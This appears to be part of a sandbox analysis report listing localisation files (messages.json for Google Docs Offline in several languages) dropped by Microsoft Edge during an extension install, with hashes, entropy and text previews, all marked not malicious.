Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
